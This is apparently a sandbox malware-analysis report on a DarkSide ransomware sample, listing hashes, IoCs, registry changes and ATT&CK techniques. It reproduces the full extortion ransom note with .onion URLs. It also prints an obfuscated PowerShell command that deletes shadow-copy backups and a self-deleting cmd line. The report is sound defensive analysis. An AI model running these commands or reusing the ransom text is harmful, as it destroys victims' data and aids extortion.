darkside | 4dcb5d42f6a37cb000de14de346978fa3a9f6a8cd4e41aaec3a15534cc726a1d

General

Target

Darkside.exe
Size

59KB
MD5

cfcfb68901ffe513e9f0d76b17d02f96
SHA1

766b30e5a37d1bc8d8fe5c7cacc314504a44ac1f
SHA256

17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61
SHA512

0d26fa9478f4626107e38c570d1bae1049b744181cf0395d95fb07675575ca393d88d4783bf31bdf11bef1da5648a5a53a6d95b21492f96b4de35c0ec323ae0c
SSDEEP

768:9jjV7Iax7F3DS4/S96/P3rsAc4ci5pwwX5+R4VYY23W5:vx7Fu4/i6/P3rlckx5+R4VDZ5

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\Admin\README.f4d521a4.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 90 GB data. These files include: Finance data Insurance data Buchgalting Data Banking data and details, bank contracts, creditors info Much personal data Marketing data Production, Technik data Email conversations dump and more others. All documents are fresh (last 365 days) and stored on our offline servers. All data will be published piece by piece. First data pack will be published in 7 days if we do not come for agreement. Your personal leak page: http://darksidedxcftmqa.onion/polifilm/AWeu5Sv7zTTCTjZD8YkgoPRznfE5r7G-vbsXok9EvfiaNL_eDwRlgRMruMHisnEF On the page you will find examples of files that have been stolen. The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/2AHUVJ3VGS97NUG5J5EYMQM5PJO77V9V0GDT3UYIJGFZUTOQRLUX593CQ2EZ2ZEH When you open our website, put the following data in the input form: Key: rIzr2nCuqbQL7MGMwoppaucqSp5AZufUiYhssYa1SGfO0XFf09fBDlLDWgKQSnnvIAfqYTsOgUhOTxzbxGsC9nH0yk2HOFhn7t8ntX8L0evyce8vKdgUKF7Xvjn6ljaQQ4HPEfPZFP2jvN0DgBVWl2WgNT1U3owZ1bNBjps34t33ObZc01Ce1yKx5CSlwUYbw1ktjqt5d7R9DwRL3NIGrTHvMX3qXI5aBAUnirnc4zHtfGPXq4CuFoh04Tv7VE81aohfvuz8D7wo7i28sbILoJyF6mzeQwSkAXolOhXKQAEPsGcdbfLxfY5uILkHB3d1gAyxT1owQXsY4heNQbY3yYL1Em7dDaLdbNhOf0adYWFiFfAl9EwLDRT96L9Xzsk17ho1B82wOWZ79ZqtT8yqnZ4APJb1LO91ASSsgUdNvR0lAaZTfXHHxUI1vDm5ygyV7cbxMlrQ5K1U6ughdd5WosogMJWVNjreirhzuDzY6SnixtukGYG0D9azzgOHcgidJcLV4n0orhzIaA1SMNYOpdOIadgBehCaHwEyr3hn8CEa6fgpUgK6E95 !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidedxcftmqa.onion/polifilm/AWeu5Sv7zTTCTjZD8YkgoPRznfE5r7G-vbsXok9EvfiaNL_eDwRlgRMruMHisnEF

http://darksidfqzcuhtk2.onion/2AHUVJ3VGS97NUG5J5EYMQM5PJO77V9V0GDT3UYIJGFZUTOQRLUX593CQ2EZ2ZEH

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Renames multiple (190) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Modifies extensions of user files 16 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

Darkside.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\CompareRegister.png => C:\Users\Admin\Pictures\CompareRegister.png.f4d521a4	Darkside.exe
File renamed	C:\Users\Admin\Pictures\SyncSave.tif => C:\Users\Admin\Pictures\SyncSave.tif.f4d521a4	Darkside.exe
File opened for modification	C:\Users\Admin\Pictures\SyncSave.tif.f4d521a4	Darkside.exe
File renamed	C:\Users\Admin\Pictures\WatchTest.tiff => C:\Users\Admin\Pictures\WatchTest.tiff.f4d521a4	Darkside.exe
File opened for modification	C:\Users\Admin\Pictures\WatchTest.tiff.f4d521a4	Darkside.exe
File opened for modification	C:\Users\Admin\Pictures\AssertGrant.tiff	Darkside.exe
File renamed	C:\Users\Admin\Pictures\CompressUnprotect.raw => C:\Users\Admin\Pictures\CompressUnprotect.raw.f4d521a4	Darkside.exe
File opened for modification	C:\Users\Admin\Pictures\CompressUnprotect.raw.f4d521a4	Darkside.exe
File opened for modification	C:\Users\Admin\Pictures\StopGrant.tif.f4d521a4	Darkside.exe
File renamed	C:\Users\Admin\Pictures\AssertGrant.tiff => C:\Users\Admin\Pictures\AssertGrant.tiff.f4d521a4	Darkside.exe
File opened for modification	C:\Users\Admin\Pictures\AssertGrant.tiff.f4d521a4	Darkside.exe
File opened for modification	C:\Users\Admin\Pictures\CompareRegister.png.f4d521a4	Darkside.exe
File renamed	C:\Users\Admin\Pictures\RestartDeny.crw => C:\Users\Admin\Pictures\RestartDeny.crw.f4d521a4	Darkside.exe
File opened for modification	C:\Users\Admin\Pictures\RestartDeny.crw.f4d521a4	Darkside.exe
File renamed	C:\Users\Admin\Pictures\StopGrant.tif => C:\Users\Admin\Pictures\StopGrant.tif.f4d521a4	Darkside.exe
File opened for modification	C:\Users\Admin\Pictures\WatchTest.tiff	Darkside.exe

Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

3312 cmd.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
3312	cmd.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

Darkside.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2961826002-3968192592-354541192-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\f4d521a4.BMP"	Darkside.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2961826002-3968192592-354541192-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\f4d521a4.BMP"	Darkside.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

Darkside.exe

pid process

1880 Darkside.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
1880	Darkside.exe

Modifies Control Panel 1 IoCs

evasion

Processes:

Darkside.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2961826002-3968192592-354541192-1000\Control Panel\Desktop\WallpaperStyle = "10"	Darkside.exe

Modifies registry class 5 IoCs

Processes:

Darkside.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.f4d521a4\ = "f4d521a4"	Darkside.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\f4d521a4\DefaultIcon	Darkside.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\f4d521a4	Darkside.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\f4d521a4\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\f4d521a4.ico"	Darkside.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.f4d521a4	Darkside.exe

Modifies system certificate store 2 TTPs 6 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

Darkside.exe

description	ioc	process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	Darkside.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	Darkside.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 0f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c1320000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	Darkside.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 1900000001000000100000006cf252fec3e8f20996de5d4dd9aef424030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131d00000001000000100000004558d512eecb27464920897de7b66053140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc41560858910090000000100000016000000301406082b0601050507030406082b060105050703010b000000010000001e000000440053005400200052006f006f00740020004300410020005800330000000f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d20000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	Darkside.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	Darkside.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	Darkside.exe

Opens file in notepad (likely ransom note) 1 IoCs
ransomware

Processes:

NOTEPAD.EXE

pid process

3352 NOTEPAD.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exeDarkside.exe

pid process

860 powershell.exe
1880 Darkside.exe
1880 Darkside.exe

pid	process
3352	NOTEPAD.EXE

pid	process
860	powershell.exe
1880	Darkside.exe
1880	Darkside.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

Processes:

Darkside.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	1880	Darkside.exe
Token: SeSecurityPrivilege	1880	Darkside.exe
Token: SeTakeOwnershipPrivilege	1880	Darkside.exe
Token: SeLoadDriverPrivilege	1880	Darkside.exe
Token: SeSystemProfilePrivilege	1880	Darkside.exe
Token: SeSystemtimePrivilege	1880	Darkside.exe
Token: SeProfSingleProcessPrivilege	1880	Darkside.exe
Token: SeIncBasePriorityPrivilege	1880	Darkside.exe
Token: SeCreatePagefilePrivilege	1880	Darkside.exe
Token: SeBackupPrivilege	1880	Darkside.exe
Token: SeRestorePrivilege	1880	Darkside.exe
Token: SeShutdownPrivilege	1880	Darkside.exe
Token: SeDebugPrivilege	1880	Darkside.exe
Token: SeSystemEnvironmentPrivilege	1880	Darkside.exe
Token: SeRemoteShutdownPrivilege	1880	Darkside.exe
Token: SeUndockPrivilege	1880	Darkside.exe
Token: SeManageVolumePrivilege	1880	Darkside.exe
Token: 33	1880	Darkside.exe
Token: 34	1880	Darkside.exe
Token: 35	1880	Darkside.exe
Token: SeDebugPrivilege	860	powershell.exe
Token: SeBackupPrivilege	568	vssvc.exe
Token: SeRestorePrivilege	568	vssvc.exe
Token: SeAuditPrivilege	568	vssvc.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

Darkside.exe

description	pid	process	target process
PID 1880 wrote to memory of 860	1880	Darkside.exe	powershell.exe
PID 1880 wrote to memory of 860	1880	Darkside.exe	powershell.exe
PID 1880 wrote to memory of 860	1880	Darkside.exe	powershell.exe
PID 1880 wrote to memory of 860	1880	Darkside.exe	powershell.exe
PID 1880 wrote to memory of 3312	1880	Darkside.exe	cmd.exe
PID 1880 wrote to memory of 3312	1880	Darkside.exe	cmd.exe
PID 1880 wrote to memory of 3312	1880	Darkside.exe	cmd.exe
PID 1880 wrote to memory of 3312	1880	Darkside.exe	cmd.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\Darkside.exe
"C:\Users\Admin\AppData\Local\Temp\Darkside.exe"
1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
- Modifies registry class
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1880

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:860

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\Darkside.exe >> NUL
2⤵
- Deletes itself
PID:3312

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:568

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\README.f4d521a4.TXT
1⤵
- Opens file in notepad (likely ransom note)
PID:3352

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{06622D85-6856-4460-8DE1-A81921B41C4B}
1⤵
PID:3404

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Install Root Certificate

1

T1130

Credential Access

Credentials in Files

1

T1081

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Exfiltration

Command and Control

Impact

Defacement

1

T1491

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C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
Filesize
62KB

MD5
b5fcc55cffd66f38d548e8b63206c5e6

SHA1
79db08ababfa33a4f644fa8fe337195b5aba44c7

SHA256
7730df1165195dd5bb6b40d6e519b4ce07aceb03601a77bca6535d31698d4ca1

SHA512
aaa17175e90dbca04f0fa753084731313e70119fef7d408b41ff4170116ab24eaee0bd05dca2cc43464b1ee920819e5ce6f6e750d97e3c4fc605f01e7ff9c649

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C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize
344B

MD5
1ab0c1d16bff138112e56974ba9be3b0

SHA1
6f850d61167be98aafde9d13de846642b2cf684f

SHA256
8792f0dccd6eefd0aee6b836c9e11472fadbe110c7b6f6276f699c553f16a553

SHA512
5f1621ec4fe4fd66f2a4f846f6155eb848f32dec281edf2ab737cfc38336ffffd14c3a73395111546308fd2804d4337e07029e8ba09297f163fb66afb6bc623d

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C:\Users\Admin\AppData\Local\Temp\Cab2D5A.tmp
Filesize
61KB

MD5
fc4666cbca561e864e7fdf883a9e6661

SHA1
2f8d6094c7a34bf12ea0bbf0d51ee9c5bb7939a5

SHA256
10f3deb6c452d749a7451b5d065f4c0449737e5ee8a44f4d15844b503141e65b

SHA512
c71f54b571e01f247f072be4bbebdf5d8410b67eb79a61e7e0d9853fe857ab9bd12f53e6af3394b935560178107291fc4be351b27deb388eba90ba949633d57d

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
d37ce76bb6f68266240af5984434fefc

SHA1
313720c6b03cb5c1efe195fab64ea60472c19925

SHA256
7ef72c4b331420cdb3d4f55fc48140e355c5d719a840e3c0aca996a821798748

SHA512
97d0faa9d196bad7c466586ba3feeacb32a7a6a6e7ace7403b6574280601aaa608452fdb73fe914faf3870c365cef5d36396f7d88dc5ba25da7160f19099f0de

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C:\Users\Admin\Desktop\README.f4d521a4.TXT
Filesize
3KB

MD5
b58e2411168bbdbec635cf4001635db0

SHA1
c130cd9caaaa514a6b98c1168e10d44a989d191a

SHA256
652a74736e10402013fae584c967fc5ea3b7c2eac0a436d41759963b3d42e37a

SHA512
87e2c3ecf3805a7b3945eed4472548a63cbaee7c004c3bce220524e1c6733b3eb780812b4d336f6b72a365c161c02e18b8101e405d00507ff902e88dd49ba30a

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C:\Users\Admin\README.f4d521a4.TXT
Filesize
3KB

MD5
b58e2411168bbdbec635cf4001635db0

SHA1
c130cd9caaaa514a6b98c1168e10d44a989d191a

SHA256
652a74736e10402013fae584c967fc5ea3b7c2eac0a436d41759963b3d42e37a

SHA512
87e2c3ecf3805a7b3945eed4472548a63cbaee7c004c3bce220524e1c6733b3eb780812b4d336f6b72a365c161c02e18b8101e405d00507ff902e88dd49ba30a

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memory/860-109-0x000000001B230000-0x000000001B512000-memory.dmp

Filesize
2.9MB

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memory/860-110-0x0000000002390000-0x0000000002398000-memory.dmp

Filesize
32KB

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memory/860-112-0x0000000002950000-0x00000000029D0000-memory.dmp

Filesize
512KB

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memory/860-111-0x0000000002950000-0x00000000029D0000-memory.dmp

Filesize
512KB

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memory/860-113-0x0000000002950000-0x00000000029D0000-memory.dmp

Filesize
512KB

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Malware Config

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Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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